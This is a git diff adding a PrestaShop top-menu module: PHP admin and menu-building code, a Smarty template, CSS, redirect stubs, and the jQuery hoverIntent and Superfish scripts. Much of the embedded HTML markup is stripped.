        + '.$this->l('The modifications will be applied to').' '.(Shop::getContext() == Shop::CONTEXT_SHOP ? $this->l('shop').' '.$this->context->shop->name : $this->l('all shops')).'. +
        + '.$this->l('Settings').' +
        +
        + +
        + +
        +
        + +
         
        + + + + + + + +
        +
        +
        + '.$this->l('Add').' >> +
        +
        +
        + << '.$this->l('Remove').' +
        +
         
        + + +
        + +
        +

        + +

        +
        +

        '; + + $this->_html .= ' +
        + '.$this->l('Add Menu Top Link').' +
        + + '; + foreach ($languages as $language) + { + $this->_html .= ' + '; + } + + $this->_html .= ' +
        '.$this->displayFlags($languages, (int)$id_lang, $divLangName, 'link_label', true).'

        '; + + $this->_html .= ' +
        + +
        +
        '; + + if (Tools::isSubmit('id_linksmenutop')) + $this->_html .= ''; + + if (Tools::isSubmit('submitBlocktopmenuEdit')) + $this->_html .= ''; + + $this->_html .= ' + +
        + +
        +

        '; + + $links = MenuTopLinks::gets((int)$id_lang, null, (int)Shop::getContextShopID()); + + if (!count($links)) + return $this->_html; + + $this->_html .= ' +
        + '.$this->l('List Menu Top Link').' + + + + + + + + + + + '; + foreach ($links as $link) + { + $this->_html .= ' + + + + + + + '; + } + $this->_html .= ' +
        '.$this->l('Id Link').''.$this->l('Label').''.$this->l('Link').''.$this->l('New Window').''.$this->l('Action').'
        '.(int)$link['id_linksmenutop'].''.Tools::safeOutput($link['label']).''.Tools::safeOutput($link['link']).''.(($link['new_window']) ? $this->l('Yes') : $this->l('No')).' +
        + + + +
        +
        +
        '; + return $this->_html; + } + + private function getMenuItems() + { + return explode(',', Configuration::get('MOD_BLOCKTOPMENU_ITEMS')); + } + + private function makeMenuOption() + { + $menu_item = $this->getMenuItems(); + $id_lang = (int)$this->context->language->id; + $id_shop = (int)Shop::getContextShopID(); + foreach ($menu_item as $item) + { + if (!$item) + continue; + + preg_match($this->pattern, $item, $values); + $id = (int)substr($item, strlen($values[1]), strlen($item)); + + switch (substr($item, 0, strlen($values[1]))) + { + case 'CAT': + $category = new Category((int)$id, (int)$id_lang); + if (Validate::isLoadedObject($category)) + $this->_html .= ''.PHP_EOL; + break; + + case 'PRD': + $product = new Product((int)$id, true, (int)$id_lang); + if (Validate::isLoadedObject($product)) + $this->_html .= ''.PHP_EOL; + break; + + case 'CMS': + $cms = new CMS((int)$id, (int)$id_lang); + if (Validate::isLoadedObject($cms)) + $this->_html .= ''.PHP_EOL; + break; + + case 'CMS_CAT': + $category = new CMSCategory((int)$id, (int)$id_lang); + if (Validate::isLoadedObject($category)) + $this->_html .= ''.PHP_EOL; + break; + + case 'MAN': + $manufacturer = new Manufacturer((int)$id, (int)$id_lang); + if (Validate::isLoadedObject($manufacturer)) + $this->_html .= ''.PHP_EOL; + break; + + case 'SUP': + $supplier = new Supplier((int)$id, (int)$id_lang); + if (Validate::isLoadedObject($supplier)) + $this->_html .= ''.PHP_EOL; + break; + + case 'LNK': + $link = MenuTopLinks::get((int)$id, (int)$id_lang, (int)$id_shop); + if (count($link)) + { + if (!isset($link[0]['label']) || ($link[0]['label'] == '')) + { + $default_language = Configuration::get('PS_LANG_DEFAULT'); + $link = MenuTopLinks::get($link[0]['id_linksmenutop'], (int)$default_language, (int)Shop::getContextShopID()); + } + $this->_html .= ''; + } + break; + case 'SHOP': + $shop = new Shop((int)$id); + if (Validate::isLoadedObject($shop)) + $this->_html .= ''.PHP_EOL; + break; + } + } + } + + private function makeMenu() + { + $menu_items = $this->getMenuItems(); + $id_lang = (int)$this->context->language->id; + $id_shop = (int)Shop::getContextShopID(); + $compteur=0; + foreach ($menu_items as $item) + { + if (!$item) + continue; + + preg_match($this->pattern, $item, $value); + $id = (int)substr($item, strlen($value[1]), strlen($item)); + + switch (substr($item, 0, strlen($value[1]))) + { + case 'CAT': + $this->getCategory((int)$id); + break; + + case 'PRD': + $selected = ($this->page_name == 'product' && (Tools::getValue('id_product') == $id)) ? ' class="sfHover"' : ''; + $product = new Product((int)$id, true, (int)$id_lang); + if (!is_null($product->id)) + $this->_menu .= ''.$product->name.''.PHP_EOL; + break; + + case 'CMS': + $selected = ($this->page_name == 'cms' && (Tools::getValue('id_cms') == $id)) ? ' class="sfHover"' : ''; + $cms = CMS::getLinks((int)$id_lang, array($id)); + if (count($cms)) + $this->_menu .= ''.$cms[0]['meta_title'].''.PHP_EOL; + break; + + case 'CMS_CAT': + $category = new CMSCategory((int)$id, (int)$id_lang); + if (count($category)) + { + $this->_menu .= '
      • '.$category->name.''; + $this->getCMSMenuItems($category->id); + $this->_menu .= '
      • '.PHP_EOL; + } + break; + + case 'MAN': + $selected = ($this->page_name == 'manufacturer' && (Tools::getValue('id_manufacturer') == $id)) ? ' class="sfHover"' : ''; + $manufacturer = new Manufacturer((int)$id, (int)$id_lang); + if (!is_null($manufacturer->id)) + { + if (intval(Configuration::get('PS_REWRITING_SETTINGS'))) + $manufacturer->link_rewrite = Tools::link_rewrite($manufacturer->name, false); + else + $manufacturer->link_rewrite = 0; + $link = new Link; + $this->_menu .= ''.$manufacturer->name.''.PHP_EOL; + } + break; + + case 'SUP': + $selected = ($this->page_name == 'supplier' && (Tools::getValue('id_supplier') == $id)) ? ' class="sfHover"' : ''; + $supplier = new Supplier((int)$id, (int)$id_lang); + if (!is_null($supplier->id)) + { + $link = new Link; + $this->_menu .= ''.$supplier->name.''.PHP_EOL; + } + break; + + case 'SHOP': + $selected = ($this->page_name == 'index' && ($this->context->shop->id == $id)) ? ' class="sfHover"' : ''; + $shop = new Shop((int)$id); + if (Validate::isLoadedObject($shop)) + { + $link = new Link; + $this->_menu .= ''.$shop->name.''.PHP_EOL; + } + break; + case 'LNK': + $link = MenuTopLinks::get((int)$id, (int)$id_lang, (int)$id_shop); + if (count($link)) + { + if (!isset($link[0]['label']) || ($link[0]['label'] == '')) + { + $default_language = Configuration::get('PS_LANG_DEFAULT'); + $link = MenuTopLinks::get($link[0]['id_linksmenutop'], $default_language, (int)Shop::getContextShopID()); + } + $this->_menu .= '
      • '.$link[0]['label'].'
      • '.PHP_EOL; + } + break; + } + $compteur++; + } + } + + private function getCategoryOption($id_category = 1, $id_lang = false, $id_shop = false, $recursive = true) + { + $id_lang = $id_lang ? (int)$id_lang : (int)Context::getContext()->language->id; + $category = new Category((int)$id_category, (int)$id_lang, (int)$id_shop); + + if (is_null($category->id)) + return; + + if ($recursive) + { + $children = Category::getChildren((int)$id_category, (int)$id_lang, true, (int)$id_shop); + $spacer = str_repeat(' ', $this->spacer_size * (int)$category->level_depth); + } + + $shop = (object) Shop::getShop((int)$category->getShopID()); + $this->_html .= ''; + + if (isset($children) && count($children)) + foreach ($children as $child) + { + $this->getCategoryOption((int)$child['id_category'], (int)$id_lang, (int)$child['id_shop']); + } + } + + private function getCategory($id_category, $id_lang = false, $id_shop = false) + { + $id_lang = $id_lang ? (int)$id_lang : (int)Context::getContext()->language->id; + $category = new Category((int)$id_category, (int)$id_lang); + + if ($category->level_depth > 1) + $category_link = $category->getLink(); + else + $category_link = $this->context->link->getPageLink('index'); + + if (is_null($category->id)) + return; + + $children = Category::getChildren((int)$id_category, (int)$id_lang, true, (int)$id_shop); + $selected = ($this->page_name == 'category' && ((int)Tools::getValue('id_category') == $id_category)) ? ' class="sfHoverForce"' : ''; + + $is_intersected = array_intersect($category->getGroups(), $this->user_groups); + // filter the categories that the user is allowed to see and browse + if (!empty($is_intersected)) + { + $this->_menu .= '
      • '; + $this->_menu .= ''.$category->name.''; + + if (count($children)) + { + $this->_menu .= '
          '; + + foreach ($children as $child) + $this->getCategory((int)$child['id_category'], (int)$id_lang, (int)$child['id_shop']); + + $this->_menu .= '
        '; + } + $this->_menu .= '
      • '; + } + } + + private function getCMSMenuItems($parent, $depth = 1, $id_lang = false) + { + $id_lang = $id_lang ? (int)$id_lang : (int)Context::getContext()->language->id; + + if ($depth > 3) + return; + + $categories = $this->getCMSCategories(false, (int)$parent, (int)$id_lang); + $pages = $this->getCMSPages((int)$parent); + + if (count($categories) || count($pages)) + { + $this->_menu .= '
          '; + + foreach ($categories as $category) + { + $this->_menu .= '
        • '; + $this->_menu .= ''.$category['name'].''; + $this->getCMSMenuItems($category['id_cms_category'], (int)$depth + 1); + $this->_menu .= '
        • '; + } + + foreach ($pages as $page) + { + $cms = new CMS($page['id_cms'], (int)$id_lang); + $links = $cms->getLinks((int)$id_lang, array((int)$cms->id)); + + $selected = ($this->page_name == 'cms' && ((int)Tools::getValue('id_cms') == $page['id_cms'])) ? ' class="sfHoverForce"' : ''; + $this->_menu .= '
        • '; + $this->_menu .= ''.$cms->meta_title.''; + $this->_menu .= '
        • '; + } + + $this->_menu .= '
        '; + } + } + + private function getCMSOptions($parent = 0, $depth = 1, $id_lang = false) + { + $id_lang = $id_lang ? (int)$id_lang : (int)Context::getContext()->language->id; + + $categories = $this->getCMSCategories(false, (int)$parent, (int)$id_lang); + $pages = $this->getCMSPages((int)$parent, false, (int)$id_lang); + + $spacer = str_repeat(' ', $this->spacer_size * (int)$depth); + + foreach ($categories as $category) + { + $this->_html .= ''; + $this->getCMSOptions($category['id_cms_category'], (int)$depth + 1, (int)$id_lang); + } + + foreach ($pages as $page) + $this->_html .= ''; + } + + protected function getCacheId($name = null) + { + parent::getCacheId($name); + $page_name = in_array($this->page_name, array('category', 'supplier', 'manufacturer', 'cms', 'product')) ? $this->page_name : 'index'; + return 'blocktopmenu|'.(int)Tools::usingSecureMode().'|'.$page_name.'|'.(int)$this->context->shop->id.'|'.implode(', ',$this->user_groups).'|'.(int)$this->context->language->id.'|'.(int)Tools::getValue('id_category').'|'.(int)Tools::getValue('id_manufacturer').'|'.(int)Tools::getValue('id_supplier').'|'.(int)Tools::getValue('id_cms').'|'.(int)Tools::getValue('id_product'); + } + + public function hookDisplayTop($param) + { + $this->user_groups = ($this->context->customer->isLogged() ? $this->context->customer->getGroups() : array(Configuration::get('PS_UNIDENTIFIED_GROUP'))); + $this->page_name = Dispatcher::getInstance()->getController(); + if (!$this->isCached('blocktopmenu.tpl', $this->getCacheId())) + { + $this->makeMenu(); + $this->smarty->assign('MENU_SEARCH', Configuration::get('MOD_BLOCKTOPMENU_SEARCH')); + $this->smarty->assign('MENU', $this->_menu); + $this->smarty->assign('this_path', $this->_path); + } + + $this->context->controller->addJS($this->_path.'js/hoverIntent.js'); + $this->context->controller->addJS($this->_path.'js/superfish-modified.js'); + $this->context->controller->addCSS($this->_path.'css/superfish-modified.css'); + + $html = $this->display(__FILE__, 'blocktopmenu.tpl', $this->getCacheId()); + return $html; + } + + private function getCMSCategories($recursive = false, $parent = 1, $id_lang = false) + { + $id_lang = $id_lang ? (int)$id_lang : (int)Context::getContext()->language->id; + + if ($recursive === false) + { + $sql = 'SELECT bcp.`id_cms_category`, bcp.`id_parent`, bcp.`level_depth`, bcp.`active`, bcp.`position`, cl.`name`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_category` bcp + INNER JOIN `'._DB_PREFIX_.'cms_category_lang` cl + ON (bcp.`id_cms_category` = cl.`id_cms_category`) + WHERE cl.`id_lang` = '.(int)$id_lang.' + AND bcp.`id_parent` = '.(int)$parent; + + return Db::getInstance()->executeS($sql); + } + else + { + $sql = 'SELECT bcp.`id_cms_category`, bcp.`id_parent`, bcp.`level_depth`, bcp.`active`, bcp.`position`, cl.`name`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_category` bcp + INNER JOIN `'._DB_PREFIX_.'cms_category_lang` cl + ON (bcp.`id_cms_category` = cl.`id_cms_category`) + WHERE cl.`id_lang` = '.(int)$id_lang.' + AND bcp.`id_parent` = '.(int)$parent; + + $results = Db::getInstance()->executeS($sql); + foreach ($results as $result) + { + $sub_categories = $this->getCMSCategories(true, $result['id_cms_category'], (int)$id_lang); + if ($sub_categories && count($sub_categories) > 0) + $result['sub_categories'] = $sub_categories; + $categories[] = $result; + } + + return isset($categories) ? $categories : false; + } + + } + + private function getCMSPages($id_cms_category, $id_shop = false, $id_lang = false) + { + $id_shop = ($id_shop !== false) ? (int)$id_shop : (int)Context::getContext()->shop->id; + $id_lang = $id_lang ? (int)$id_lang : (int)Context::getContext()->language->id; + + $sql = 'SELECT c.`id_cms`, cl.`meta_title`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms` c + INNER JOIN `'._DB_PREFIX_.'cms_shop` cs + ON (c.`id_cms` = cs.`id_cms`) + INNER JOIN `'._DB_PREFIX_.'cms_lang` cl + ON (c.`id_cms` = cl.`id_cms`) + WHERE c.`id_cms_category` = '.(int)$id_cms_category.' + AND cs.`id_shop` = '.(int)$id_shop.' + AND cl.`id_lang` = '.(int)$id_lang.' + AND c.`active` = 1 + ORDER BY `position`'; + + return Db::getInstance()->executeS($sql); + } + + + public function hookActionObjectCategoryUpdateAfter($params) + { + $this->clearMenuCache(); + } + + public function hookActionObjectCategoryDeleteAfter($params) + { + $this->clearMenuCache(); + } + + public function hookActionObjectCmsUpdateAfter($params) + { + $this->clearMenuCache(); + } + + public function hookActionObjectCmsDeleteAfter($params) + { + $this->clearMenuCache(); + } + + public function hookActionObjectSupplierUpdateAfter($params) + { + $this->clearMenuCache(); + } + + public function hookActionObjectSupplierDeleteAfter($params) + { + $this->clearMenuCache(); + } + + public function hookActionObjectManufacturerUpdateAfter($params) + { + $this->clearMenuCache(); + } + + public function hookActionObjectManufacturerDeleteAfter($params) + { + $this->clearMenuCache(); + } + + public function hookActionObjectProductUpdateAfter($params) + { + $this->clearMenuCache(); + } + + public function hookActionObjectProductDeleteAfter($params) + { + $this->clearMenuCache(); + } + + public function hookCategoryUpdate($params) + { + $this->clearMenuCache(); + } + + private function clearMenuCache() + { + $this->_clearCache('blocktopmenu.tpl'); + } + + public function hookActionShopDataDuplication($params) + { + $linksmenutop = Db::getInstance()->executeS(' + SELECT * + FROM '._DB_PREFIX_.'linksmenutop + WHERE id_shop = '.(int)$params['old_id_shop'] + ); + + foreach($linksmenutop as $id => $link) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'linksmenutop (id_linksmenutop, id_shop, new_window) + VALUES (null, '.(int)$params['new_id_shop'].', '.(int)$link['new_window'].')'); + + $linksmenutop[$id]['new_id_linksmenutop'] = Db::getInstance()->Insert_ID(); + } + + foreach($linksmenutop as $id => $link) + { + $lang = Db::getInstance()->executeS(' + SELECT id_lang, '.(int)$params['new_id_shop'].', label, link + FROM '._DB_PREFIX_.'linksmenutop_lang + WHERE id_linksmenutop = '.(int)$link['id_linksmenutop'].' AND id_shop = '.(int)$params['old_id_shop']); + + foreach($lang as $l) + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'linksmenutop_lang (id_linksmenutop, id_lang, id_shop, label, link) + VALUES ('.(int)$link['new_id_linksmenutop'].', '.(int)$l['id_lang'].', '.(int)$params['new_id_shop'].', '.(int)$l['label'].', '.(int)$l['link'].' )'); + } + + + } +} diff --git a/modules/blocktopmenu/blocktopmenu.tpl b/modules/blocktopmenu/blocktopmenu.tpl new file mode 100755 index 0000000..55f85d3 --- /dev/null +++ b/modules/blocktopmenu/blocktopmenu.tpl @@ -0,0 +1,24 @@ +{if $MENU != ''} + + +
        +
          + {$MENU} + {if $MENU_SEARCH} + + {/if} +
        +
        +
         
        + + +{/if} \ No newline at end of file diff --git a/modules/blocktopmenu/css/index.php b/modules/blocktopmenu/css/index.php new file mode 100755 index 0000000..b434806 --- /dev/null +++ b/modules/blocktopmenu/css/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; +?> \ No newline at end of file diff --git a/modules/blocktopmenu/css/superfish-modified.css b/modules/blocktopmenu/css/superfish-modified.css new file mode 100755 index 0000000..ff46789 --- /dev/null +++ b/modules/blocktopmenu/css/superfish-modified.css @@ -0,0 +1,172 @@ +/*** ESSENTIAL STYLES ***/ +.sf-contener { + clear: both; +} +.sf-right { + margin-right: 14px; + float: right; + width: 7px; +} +.sf-menu, .sf-menu * { + margin: 0; + padding: 0; + list-style: none; +} +.sf-menu { + margin: 10px 0; + padding:0; + width:980px;/* 980 */ + background: #383838; +} +.sf-menu ul { + position: absolute; + top: -999em; + width: 10em; /* left offset of submenus need to match (see below) */ +} +.sf-menu ul li { + width: 100%; +} +.sf-menu li:hover { + visibility: inherit; /* fixes IE7 'sticky bug' */ +} +.sf-menu li { + float: left; + position: relative; + border-right: 1px solid #777; +} +.sf-menu a { + display: block; + position: relative; + color:#fff; + text-shadow:0 1px 0 #333; +} +.sf-menu li:hover ul, +.sf-menu li.sfHover ul { + left: 0; + top: 34px; /* match top ul list item height */ + z-index: 99; + width:auto +} +ul.sf-menu li:hover li ul, +ul.sf-menu li.sfHover li ul { + top: -999em; +} +ul.sf-menu li li:hover ul, +ul.sf-menu li li.sfHover ul { + left: 200px; /* match ul width */ + top: 0; +} +ul.sf-menu li li:hover li ul, +ul.sf-menu li li.sfHover li ul { + top: -999em; +} +ul.sf-menu li li li:hover ul, +ul.sf-menu li li li.sfHover ul { + left: 200px; /* match ul width */ + top: 0; +} + +/*** DEMO SKIN ***/ +.sf-menu { + float: left; + margin-bottom: 1em; +} +.sf-menu a { + display:block; + margin-right:2px; + padding: 0 22px 0 20px; + line-height:34px; + border: 0; + text-decoration:none; +} +.sf-menu a, .sf-menu a:visited { /* visited pseudo selector so IE6 applies text colour*/ + color: #fff; + white-space:nowrap; +} +.sf-menu li li { + background: rgba(113, 113, 113, 0.9); +} +.sf-menu li li li { + background: rgba(113, 113, 113, 0.9); +} +.sf-menu a:focus, .sf-menu a:hover, .sf-menu a:active { + background: #4E4E4E; +} +.sf-menu ul li:hover, .sf-menu ul li.sfHover, +.sf-menu ul li a:focus, .sf-menu ul li a:hover, .sf-menu ul li a:active { + background: #4e4e4e; + outline: 0; +} +/*** arrows **/ +.sf-menu a.sf-with-ul { + padding-right: 2.25em; + min-width: 1px; /* trigger IE7 hasLayout so spans position accurately */ +} +.sf-sub-indicator { + position: absolute; + display: block; + right: 10px; + top: 1.05em; /* IE6 only */ + width: 10px; + height: 10px; + text-indent: -999em; + overflow: hidden; + background: url('../img/arrows-ffffff.png') no-repeat -10px -100px; /* 8-bit indexed alpha png. IE6 gets solid image only */ +} +a > .sf-sub-indicator { /* give all except IE6 the correct values */ + top: 11px; + background-position: 0 -100px; /* use translucent arrow for modern browsers*/ +} +/* apply hovers to modern browsers */ +a:focus > .sf-sub-indicator, +a:hover > .sf-sub-indicator, +a:active > .sf-sub-indicator, +li:hover > a > .sf-sub-indicator, +li.sfHover > a > .sf-sub-indicator { + background-position: -10px -100px; /* arrow hovers for modern browsers*/ +} + +/* point right for anchors in subs */ +.sf-menu ul .sf-sub-indicator { background-position: -10px 0; } +.sf-menu ul a > .sf-sub-indicator { background-position: 0 0; } +/* apply hovers to modern browsers */ +.sf-menu ul a:focus > .sf-sub-indicator, +.sf-menu ul a:hover > .sf-sub-indicator, +.sf-menu ul a:active > .sf-sub-indicator, +.sf-menu ul li:hover > a > .sf-sub-indicator, +.sf-menu ul li.sfHover > a > .sf-sub-indicator { + background-position: -10px 0; /* arrow hovers for modern browsers*/ +} + +/*** shadows for all but IE6 ***/ +.sf-shadow ul { + background: url('../img/shadow.png') no-repeat bottom right; + padding: 0 8px 9px 0; + -moz-border-bottom-left-radius: 17px; + -moz-border-top-right-radius: 17px; + -webkit-border-top-right-radius: 17px; + -webkit-border-bottom-left-radius: 17px; +} +.sf-shadow ul.sf-shadow-off { + background: transparent; +} +li.sf-search { + background: inherit; + float: right; + line-height: 25px; +} +li.sf-search input { + -moz-border-radius: 0 5px 5px 0; + padding: 3px 0; + padding-left: 20px; + margin: 6px 6px 0 0; + background: #fff url('../img/search.gif') no-repeat left center; + border:1px solid #777 +} + +/* hack IE7 */ +.sf-menu a, .sf-menu a:visited {height:34px !IE;} +.sf-menu li li { + width:200px; + background:#726f72 !IE; +} diff --git a/modules/blocktopmenu/img/arrows-ffffff.png b/modules/blocktopmenu/img/arrows-ffffff.png new file mode 100755 index 0000000..995df52 Binary files /dev/null and b/modules/blocktopmenu/img/arrows-ffffff.png differ diff --git a/modules/blocktopmenu/img/bg_blocktopmenu_li_seleted.png b/modules/blocktopmenu/img/bg_blocktopmenu_li_seleted.png new file mode 100755 index 0000000..3d6fb04 Binary files /dev/null and b/modules/blocktopmenu/img/bg_blocktopmenu_li_seleted.png differ diff --git a/modules/blocktopmenu/img/blocktopmenu.gif b/modules/blocktopmenu/img/blocktopmenu.gif new file mode 100755 index 0000000..b4b507d Binary files /dev/null and b/modules/blocktopmenu/img/blocktopmenu.gif differ diff --git a/modules/blocktopmenu/img/blocktopmenu_hover.gif b/modules/blocktopmenu/img/blocktopmenu_hover.gif new file mode 100755 index 0000000..09f9c0a Binary files /dev/null and b/modules/blocktopmenu/img/blocktopmenu_hover.gif differ diff --git a/modules/blocktopmenu/img/blocktopmenu_left.gif b/modules/blocktopmenu/img/blocktopmenu_left.gif new file mode 100755 index 0000000..5898043 Binary files /dev/null and b/modules/blocktopmenu/img/blocktopmenu_left.gif differ diff --git a/modules/blocktopmenu/img/blocktopmenu_right.gif b/modules/blocktopmenu/img/blocktopmenu_right.gif new file mode 100755 index 0000000..d8ab241 Binary files /dev/null and b/modules/blocktopmenu/img/blocktopmenu_right.gif differ diff --git a/modules/blocktopmenu/img/index.php b/modules/blocktopmenu/img/index.php new file mode 100755 index 0000000..b434806 --- /dev/null +++ b/modules/blocktopmenu/img/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; +?> \ No newline at end of file diff --git a/modules/blocktopmenu/img/search.gif b/modules/blocktopmenu/img/search.gif new file mode 100755 index 0000000..e32a989 Binary files /dev/null and b/modules/blocktopmenu/img/search.gif differ diff --git a/modules/blocktopmenu/img/shadow.png b/modules/blocktopmenu/img/shadow.png new file mode 100755 index 0000000..c04d21b Binary files /dev/null and b/modules/blocktopmenu/img/shadow.png differ diff --git a/modules/blocktopmenu/index.php b/modules/blocktopmenu/index.php new file mode 100755 index 0000000..110b030 --- /dev/null +++ b/modules/blocktopmenu/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; +?> diff --git a/modules/blocktopmenu/js/hoverIntent.js b/modules/blocktopmenu/js/hoverIntent.js new file mode 100755 index 0000000..91da57b --- /dev/null +++ b/modules/blocktopmenu/js/hoverIntent.js @@ -0,0 +1,84 @@ +(function($){ + /* hoverIntent by Brian Cherne */ + $.fn.hoverIntent = function(f,g) { + // default configuration options + var cfg = { + sensitivity: 7, + interval: 100, + timeout: 0 + }; + // override configuration options with user supplied object + cfg = $.extend(cfg, g ? { over: f, out: g } : f ); + + // instantiate variables + // cX, cY = current X and Y position of mouse, updated by mousemove event + // pX, pY = previous X and Y position of mouse, set by mouseover and polling interval + var cX, cY, pX, pY; + + // A private function for getting mouse position + var track = function(ev) { + cX = ev.pageX; + cY = ev.pageY; + }; + + // A private function for comparing current and previous mouse position + var compare = function(ev,ob) { + ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); + // compare mouse positions to see if they've crossed the threshold + if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) { + $(ob).unbind("mousemove",track); + // set hoverIntent state to true (so mouseOut can be called) + ob.hoverIntent_s = 1; + return cfg.over.apply(ob,[ev]); + } else { + // set previous coordinates for next time + pX = cX; pY = cY; + // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs) + ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval ); + } + }; + + // A private function for delaying the mouseOut function + var delay = function(ev,ob) { + ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); + ob.hoverIntent_s = 0; + return cfg.out.apply(ob,[ev]); + }; + + // A private function for handling mouse 'hovering' + var handleHover = function(e) { + // next three lines copied from jQuery.hover, ignore children onMouseOver/onMouseOut + var p = (e.type == "mouseover" ? e.fromElement : e.toElement) || e.relatedTarget; + while ( p && p != this ) { try { p = p.parentNode; } catch(e) { p = this; } } + if ( p == this ) { return false; } + + // copy objects to be passed into t (required for event object to be passed in IE) + var ev = jQuery.extend({},e); + var ob = this; + + // cancel hoverIntent timer if it exists + if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); } + + // else e.type == "onmouseover" + if (e.type == "mouseover") { + // set "previous" X and Y position based on initial entry point + pX = ev.pageX; pY = ev.pageY; + // update "current" X and Y position based on mousemove + $(ob).bind("mousemove",track); + // start polling interval (self-calling timeout) to compare mouse coordinates over time + if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );} + + // else e.type == "onmouseout" + } else { + // unbind expensive mousemove event + $(ob).unbind("mousemove",track); + // if hoverIntent state is true, then call the mouseOut function after the specified delay + if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );} + } + }; + + // bind the function to the two event listeners + return this.mouseover(handleHover).mouseout(handleHover); + }; + +})(jQuery); \ No newline at end of file diff --git a/modules/blocktopmenu/js/index.php b/modules/blocktopmenu/js/index.php new file mode 100755 index 0000000..b434806 --- /dev/null +++ b/modules/blocktopmenu/js/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; +?> \ No newline at end of file diff --git a/modules/blocktopmenu/js/superfish-modified.js b/modules/blocktopmenu/js/superfish-modified.js new file mode 100755 index 0000000..b6a7a30 --- /dev/null +++ b/modules/blocktopmenu/js/superfish-modified.js @@ -0,0 +1,125 @@ + +/* + * Superfish v1.4.8 - jQuery menu widget + * Copyright (c) 2008 Joel Birch + * + * Dual licensed under the MIT and GPL licenses: + * http://www.opensource.org/licenses/mit-license.php + * http://www.gnu.org/licenses/gpl.html + * + * CHANGELOG: http://users.tpg.com.au/j_birch/plugins/superfish/changelog.txt + */ + +;(function($){ + $.fn.superfish = function(op){ + + var sf = $.fn.superfish, + c = sf.c, + $arrow = $([' »'].join('')), + over = function(){ + var $$ = $(this), menu = getMenu($$); + clearTimeout(menu.sfTimer); + $$.showSuperfishUl().siblings().hideSuperfishUl(); + }, + out = function(){ + var $$ = $(this), menu = getMenu($$), o = sf.op; + clearTimeout(menu.sfTimer); + menu.sfTimer=setTimeout(function(){ + o.retainPath=($.inArray($$[0],o.$path)>-1); + $$.hideSuperfishUl(); + if (o.$path.length && $$.parents(['li.',o.hoverClass].join('')).length<1){over.call(o.$path);} + },o.delay); + }, + getMenu = function($menu){ + var menu = $menu.parents(['ul.',c.menuClass,':first'].join(''))[0]; + sf.op = sf.o[menu.serial]; + return menu; + }, + addArrow = function($a){ $a.addClass(c.anchorClass).append($arrow.clone()); }; + + return this.each(function() { + var s = this.serial = sf.o.length; + var o = $.extend({},sf.defaults,op); + o.$path = $('li.'+o.pathClass,this).slice(0,o.pathLevels).each(function(){ + $(this).addClass([o.hoverClass,c.bcClass].join(' ')) + .filter('li:has(ul)').removeClass(o.pathClass); + }); + sf.o[s] = sf.op = o; + + $('li:has(ul)',this)[($.fn.hoverIntent && !o.disableHI) ? 'hoverIntent' : 'hover'](over,out).each(function() { + if (o.autoArrows) addArrow( $('>a:first-child',this) ); + }) + .not('.'+c.bcClass) + .hideSuperfishUl(); + + var $a = $('a',this); + $a.each(function(i){ + var $li = $a.eq(i).parents('li'); + $a.eq(i).focus(function(){over.call($li);}).blur(function(){out.call($li);}); + }); + o.onInit.call(this); + + }).each(function() { + menuClasses = [c.menuClass]; + if (sf.op.dropShadows && !($.browser.msie && $.browser.version < 7)) menuClasses.push(c.shadowClass); + $(this).addClass(menuClasses.join(' ')); + }); + }; + + var sf = $.fn.superfish; + sf.o = []; + sf.op = {}; + sf.IE7fix = function(){ + var o = sf.op; + if ($.browser.msie && $.browser.version > 6 && o.dropShadows && o.animation.opacity!=undefined) + this.toggleClass(sf.c.shadowClass+'-off'); + }; + sf.c = { + bcClass : 'sf-breadcrumb', + menuClass : 'sf-js-enabled', + anchorClass : 'sf-with-ul', + arrowClass : 'sf-sub-indicator', + shadowClass : 'sf-shadow' + }; + 